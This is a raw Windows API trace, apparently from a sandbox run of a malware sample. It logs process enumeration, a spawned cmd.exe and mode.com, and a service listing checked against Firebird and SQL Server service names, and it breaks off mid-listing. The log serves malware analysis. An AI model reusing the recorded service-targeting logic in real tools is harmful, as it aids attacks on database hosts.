	[0163.810] lstrlenW (lpString="svchost.exe") returned 11
	[0163.810] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.810] lstrlenW (lpString="svchost.exe") returned 11
	[0163.810] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.810] lstrlenW (lpString="svchost.exe") returned 11
	[0163.810] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.811] lstrlenW (lpString="svchost.exe") returned 11
	[0163.811] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.811] lstrlenW (lpString="svchost.exe") returned 11
	[0163.811] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.812] lstrlenW (lpString="svchost.exe") returned 11
	[0163.812] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.812] lstrlenW (lpString="svchost.exe") returned 11
	[0163.812] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.813] lstrlenW (lpString="svchost.exe") returned 11
	[0163.813] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0163.813] lstrlenW (lpString="spoolsv.exe") returned 11
	[0163.813] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.813] lstrlenW (lpString="svchost.exe") returned 11
	[0163.813] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0163.814] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0163.814] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0163.814] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0163.814] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0163.815] lstrlenW (lpString="audiodg.exe") returned 11
	[0163.815] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0163.815] lstrlenW (lpString="Memory Compression") returned 18
	[0163.815] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0163.816] lstrlenW (lpString="taskhostw.exe") returned 13
	[0163.816] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0163.816] lstrlenW (lpString="sihost.exe") returned 10
	[0163.816] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.817] lstrlenW (lpString="svchost.exe") returned 11
	[0163.817] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0163.817] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0163.817] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0163.818] lstrlenW (lpString="taskhostw.exe") returned 13
	[0163.818] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0163.818] lstrlenW (lpString="explorer.exe") returned 12
	[0163.818] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0163.818] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0163.819] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0163.819] lstrlenW (lpString="SearchUI.exe") returned 12
	[0163.819] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0163.819] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0163.819] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0163.820] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0163.820] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0163.820] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0163.820] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0163.821] lstrlenW (lpString="cmd.exe") returned 7
	[0163.821] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0163.821] lstrlenW (lpString="conhost.exe") returned 11
	[0163.821] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0163.821] lstrlenW (lpString="mode.com") returned 8
	[0163.821] Process32NextW (in: hSnapshot=0x43c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0163.822] CloseHandle (hObject=0x43c) returned 1
	[0163.822] Sleep (dwMilliseconds=0x1f4) 
	[0164.537] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929f48
	[0164.538] EnumServicesStatusExW (in: hSCManager=0x3929f48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0164.538] GetLastError () returned 0xea
	[0164.538] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x40a7680
	[0164.539] EnumServicesStatusExW (in: hSCManager=0x3929f48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40a7680, cbBufSize=0x1bc4, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40a7680, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0164.539] CloseServiceHandle (hSCObject=0x3929f48) returned 1
	[0164.539] lstrlenW (lpString="AppXSvc") returned 7
	[0164.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0164.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0164.540] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0164.540] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0164.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0164.540] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0164.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0164.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0164.540] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0164.540] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0164.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0164.540] lstrlenW (lpString="Audiosrv") returned 8
	[0164.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0164.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0164.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0164.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0164.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0164.540] lstrlenW (lpString="BFE") returned 3
	[0164.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0164.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0164.540] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0164.540] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0164.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0164.540] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0164.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0164.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0164.540] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0164.540] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0164.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0164.540] lstrlenW (lpString="CDPSvc") returned 6
	[0164.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0164.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0164.540] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0164.540] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0164.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0164.540] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0164.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0164.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0164.541] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0164.541] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0164.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0164.541] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0164.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0164.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0164.541] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0164.541] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0164.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0164.541] lstrlenW (lpString="CryptSvc") returned 8
	[0164.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0164.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0164.541] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0164.541] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0164.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0164.541] lstrlenW (lpString="DcomLaunch") returned 10
	[0164.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0164.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0164.541] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0164.541] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0164.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0164.541] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0164.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0164.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0164.541] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0164.541] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0164.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0164.541] lstrlenW (lpString="Dhcp") returned 4
	[0164.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0164.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0164.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0164.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0164.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0164.542] lstrlenW (lpString="Dnscache") returned 8
	[0164.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0164.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0164.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0164.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0164.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0164.542] lstrlenW (lpString="DPS") returned 3
	[0164.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0164.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0164.542] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0164.542] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0164.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0164.542] lstrlenW (lpString="DusmSvc") returned 7
	[0164.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0164.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0164.542] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0164.542] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0164.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0164.542] lstrlenW (lpString="EventLog") returned 8
	[0164.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0164.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0164.542] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0164.542] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0164.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0164.542] lstrlenW (lpString="EventSystem") returned 11
	[0164.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0164.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0164.542] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0164.542] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0164.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0164.542] lstrlenW (lpString="FontCache") returned 9
	[0164.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0164.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0164.542] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0164.542] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0164.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0164.543] lstrlenW (lpString="gpsvc") returned 5
	[0164.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0164.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0164.543] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0164.543] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0164.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0164.543] lstrlenW (lpString="iphlpsvc") returned 8
	[0164.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0164.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0164.543] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0164.543] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0164.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0164.543] lstrlenW (lpString="KeyIso") returned 6
	[0164.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0164.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0164.543] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0164.543] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0164.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0164.543] lstrlenW (lpString="LanmanServer") returned 12
	[0164.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0164.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0164.543] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0164.543] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0164.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0164.543] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0164.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0164.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0164.543] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0164.543] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0164.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0164.543] lstrlenW (lpString="lfsvc") returned 5
	[0164.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0164.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0164.543] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0164.544] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0164.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0164.544] lstrlenW (lpString="lmhosts") returned 7
	[0164.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0164.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0164.544] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0164.544] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0164.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0164.544] lstrlenW (lpString="LSM") returned 3
	[0164.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0164.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0164.544] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0164.544] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0164.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0164.544] lstrlenW (lpString="MpsSvc") returned 6
	[0164.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0164.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0164.544] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0164.544] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0164.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0164.544] lstrlenW (lpString="NcbService") returned 10
	[0164.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0164.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0164.544] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0164.544] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0164.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0164.544] lstrlenW (lpString="netprofm") returned 8
	[0164.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0164.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0164.545] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0164.545] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0164.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0164.545] lstrlenW (lpString="NgcSvc") returned 6
	[0164.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0164.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0164.545] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0164.545] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0164.545] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
